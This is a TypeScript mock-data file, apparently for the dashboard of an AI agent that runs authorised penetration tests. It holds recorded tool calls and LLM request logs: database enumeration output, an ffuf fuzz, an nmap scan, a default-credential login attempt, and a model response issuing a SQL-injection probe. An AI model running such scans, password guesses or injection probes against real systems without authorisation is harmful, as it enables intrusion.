output: "[*] available databases [2]:\n[*] acme_prod\n[*] information_schema\nback-end DBMS: MySQL >= 5.7",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:12:30Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "ffuf -u https://api.acme.com/FUZZ -w common.txt -mc 200,401,403" }),
|
||
output: "v1 [Status: 200]\nhealth [Status: 200]\norders [Status: 401]\nadmin [Status: 403]",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:15:00Z"),
|
||
},
|
||
{
|
||
id: 4,
|
||
exploration_id: 1,
|
||
worker: "worker-2",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "nmap -sV -p- 203.0.113.10" }),
|
||
output: "PORT STATE SERVICE VERSION\n22/tcp open ssh OpenSSH 8.9\n443/tcp open https nginx 1.24",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:18:00Z"),
|
||
},
|
||
{
|
||
id: 5,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s https://admin.acme.com/login --data 'user=admin&pass=admin123'" }),
|
||
output: "curl: (28) Operation timed out after 10000 ms",
|
||
is_error: true,
|
||
created_at: T("2026-08-09T02:20:00Z"),
|
||
},
|
||
];
|
||
|
||
// ── LLM 录制（/llm/records、/llm/records/{id}）──
|
||
export const llmRecords = [
|
||
{
|
||
id: 1,
|
||
ts: T("2026-08-09T02:10:02Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "默认",
|
||
session_id: "exp1-worker-i12",
|
||
task_id: "t-001",
|
||
worker: "worker-1",
|
||
latency_ms: 3210,
|
||
input_tokens: 8421,
|
||
output_tokens: 512,
|
||
cache_read: 6000,
|
||
cache_write: 1200,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 2,
|
||
ts: T("2026-08-09T02:11:40Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "默认",
|
||
session_id: "exp1-planner",
|
||
task_id: "t-001",
|
||
worker: "planner",
|
||
latency_ms: 4180,
|
||
input_tokens: 12044,
|
||
output_tokens: 733,
|
||
cache_read: 9000,
|
||
cache_write: 1500,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 3,
|
||
ts: T("2026-08-09T02:15:20Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "默认",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 2890,
|
||
input_tokens: 7311,
|
||
output_tokens: 421,
|
||
cache_read: 5200,
|
||
cache_write: 900,
|
||
status: "ok",
|
||
},
|
||
{
|
||
id: 4,
|
||
ts: T("2026-08-09T02:16:05Z"),
|
||
model: "claude-opus-4-8",
|
||
profile_name: "默认",
|
||
session_id: "exp1-worker-i18",
|
||
task_id: "t-001",
|
||
worker: "worker-2",
|
||
latency_ms: 900,
|
||
input_tokens: 7600,
|
||
output_tokens: 0,
|
||
cache_read: 5200,
|
||
cache_write: 0,
|
||
status: "error",
|
||
error: "429 Too Many Requests (退避后重试)",
|
||
},
|
||
];
|
||
|
||
// Distinct tasks with counts, derived from llmRecords above (task picker).
|
||
const llmTaskCounts: Record<string, number> = {};
|
||
for (const r of llmRecords) if (r.task_id) llmTaskCounts[r.task_id] = (llmTaskCounts[r.task_id] ?? 0) + 1;
|
||
export const llmTasks: LLMTask[] = Object.entries(llmTaskCounts).map(([task_id, count]) => ({ task_id, count }));
|
||
|
||
export function llmRecordDetail(id: number, records = llmRecords) {
|
||
const item = records.find((r) => r.id === id) ?? records[0];
|
||
return {
|
||
...item,
|
||
request_body: JSON.stringify(
|
||
{
|
||
model: item.model,
|
||
system: "你是一个授权渗透测试系统的「执行者」…（省略）",
|
||
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图：只做它、只产生事实、做完即停。" }],
|
||
tools: ["bash", "insert_assets", "record_fact", "report_finding"],
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
response_body: JSON.stringify(
|
||
{
|
||
stop_reason: item.status === "error" ? "error" : "tool_use",
|
||
content: [
|
||
{ type: "text", text: "对 search?q= 执行注入检测，先用报错型 payload 验证。" },
|
||
{ type: "tool_use", name: "bash", input: { command: "curl -s 'https://www.acme.com/search?q=1%27'" } },
|
||
],
|
||
usage: { input_tokens: item.input_tokens, output_tokens: item.output_tokens },
|
||
},
|
||
null,
|
||
2,
|
||
),
|
||
// HTTP 原文：请求含被归一化视图丢弃的完整工具 schema，响应为原始 SSE 帧。
|
||
raw_request: JSON.stringify({
|
||
model: item.model,
|
||
max_tokens: 8192,
|
||
stream: true,
|
||
system: [
|
||
{ type: "text", text: "你是一个授权渗透测试系统的「执行者」…（省略）", cache_control: { type: "ephemeral" } },
|
||
],
|
||
messages: [{ role: "user", content: "开始执行 system 提示里的这条意图：只做它、只产生事实、做完即停。" }],
|
||
tools: [
|
||
{
|
||
name: "bash",
|
||
description: "在目标环境中执行一条 shell 命令并返回其输出。",
|
||
input_schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
},
|
||
],
|
||
thinking: { type: "enabled" },
|
||
}),
|
||
raw_response: [
|
||
`event: message_start`,
|
||
`data: {"type":"message_start","message":{"id":"msg_01mock","model":"${item.model}","usage":{"input_tokens":${item.input_tokens},"output_tokens":1}}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"对 search?q= 执行注入检测。"}}`,
|
||
``,
|
||
`event: content_block_start`,
|
||
`data: {"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"toolu_01mock","name":"bash"}}`,
|
||
``,
|
||
`event: content_block_delta`,
|
||
`data: {"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\\"command\\":\\"curl -s 'https://www.acme.com/search?q=1%27'\\"}"}}`,
|
||
``,
|
||
`event: message_delta`,
|
||
`data: {"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":${item.output_tokens}}}`,
|
||
``,
|
||
`event: message_stop`,
|
||
`data: {"type":"message_stop"}`,
|
||
``,
|
||
].join("\n"),
|
||
};
|
||
}
|